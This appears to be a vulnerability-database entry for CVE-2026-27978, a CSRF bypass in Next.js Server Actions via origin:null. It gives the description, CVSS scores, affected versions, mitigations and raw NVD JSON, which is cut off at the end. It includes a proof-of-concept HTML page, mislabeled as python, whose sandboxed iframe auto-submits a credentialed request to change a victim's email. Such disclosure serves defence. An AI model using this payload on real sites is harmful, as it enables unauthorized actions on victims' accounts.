Security Vulnerability Report
中文
CVE-2026-27978 CVSS 4.3 MEDIUM

CVE-2026-27978

Published: 2026-03-18 00:16:20
Last Modified: 2026-03-18 20:05:48

Description

Next.js is a React framework for building full-stack web applications. Starting in version 16.0.1 and prior to version 16.1.7, `origin: null` was treated as a "missing" origin during Server Action CSRF validation. As a result, requests from opaque contexts (such as sandboxed iframes) could bypass origin verification instead of being validated as cross-origin requests. An attacker could induce a victim browser to submit Server Actions from a sandboxed context, potentially executing state-changing actions with victim credentials (CSRF). This is fixed in version 16.1.7 by treating `'null'` as an explicit origin value and enforcing host/origin checks unless `'null'` is explicitly allowlisted in `experimental.serverActions.allowedOrigins`. If upgrading is not immediately possible, add CSRF tokens for sensitive Server Actions, prefer `SameSite=Strict` on sensitive auth cookies, and/or do not allow `'null'` in `serverActions.allowedOrigins` unless intentionally required and additionally protected.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE
Next.js 16.0.1 <= version < 16.1.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2026-27978 PoC: Server Action CSRF via sandboxed iframe --> <!DOCTYPE html> <html> <head> <title>CSRF PoC - CVE-2026-27978</title> </head> <body> <h1>Server Action CSRF Attack PoC</h1> <p>This PoC demonstrates how origin:null bypasses CSRF validation in Next.js Server Actions.</p> <!-- Sandboxed iframe without allow-same-origin causes origin to be 'null' --> <iframe sandbox="allow-scripts" srcdoc=" <script> // Simulate a Server Action request with origin:null async function performCSRF() { const targetUrl = 'https://vulnerable-app.com/api/server-action'; // The Server Action form data const formData = new FormData(); formData.append('action', 'updateUserProfile'); formData.append('email', '[email protected]'); try { const response = await fetch(targetUrl, { method: 'POST', mode: 'cors', credentials: 'include', // Include cookies headers: { 'Content-Type': 'multipart/form-data', }, body: formData }); console.log('CSRF request sent, status:', response.status); } catch (err) { console.error('CSRF attack failed:', err); } } // Auto-execute on load performCSRF(); </script> " ></iframe> <p>If the target uses Next.js < 16.1.7, this request will bypass CSRF checks.</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27978", "sourceIdentifier": "[email protected]", "published": "2026-03-18T00:16:20.117", "lastModified": "2026-03-18T20:05:48.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Next.js is a React framework for building full-stack web applications. Starting in version 16.0.1 and prior to version 16.1.7, `origin: null` was treated as a \"missing\" origin during Server Action CSRF validation. As a result, requests from opaque contexts (such as sandboxed iframes) could bypass origin verification instead of being validated as cross-origin requests. An attacker could induce a victim browser to submit Server Actions from a sandboxed context, potentially executing state-changing actions with victim credentials (CSRF). This is fixed in version 16.1.7 by treating `'null'` as an explicit origin value and enforcing host/origin checks unless `'null'` is explicitly allowlisted in `experimental.serverActions.allowedOrigins`. If upgrading is not immediately possible, add CSRF tokens for sensitive Server Actions, prefer `SameSite=Strict` on sensitive auth cookies, and/or do not allow `'null'` in `serverActions.allowedOrigins` unless intentionally required and additionally protected."}, {"lang": "es", "value": "Next.js es un React framework para construir aplicaciones web full-stack. A partir de la versión 16.0.1 y antes de la versión 16.1.7, `origin: null` fue tratado como un origen 'faltante' durante la validación CSRF de las Server Actions. Como resultado, las solicitudes de contextos opacos (como iframes en sandbox) podían eludir la verificación de origen en lugar de ser validadas como solicitudes de origen cruzado. Un atacante podría inducir a un navegador víctima a enviar Server Actions desde un contexto en sandbox, ejecutando potencialmente acciones que cambian el estado con credenciales de la víctima (CSRF). Esto se corrigió en la versión 16.1.7 al tratar `'null'` como un valor de origen explícito y al aplicar comprobaciones de host/origen a menos que `'null'` esté explícitamente en la lista de permitidos en `experimental.serverActions.allowedOrigins`. Si la actualización no es posible de inmediato, añada tokens CSRF para Server Actions sensibles, prefiera `SameSite=Strict` en cookies de autenticación sensibles, y/o no permita `'null'` en `serverActions.allowedOrigins` a menos que sea intencionalmente requerido y adicionalmente protegido."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "16.0.1", "versionEndExcluding": "16.1.7", "matchCriteriaId": "B6AA61BB-C5CD-4725-9A02-BEFA55D52351"}]}]}], "references": [{"url": "https://github.com/vercel/next.js/commit/a2 ... (truncated)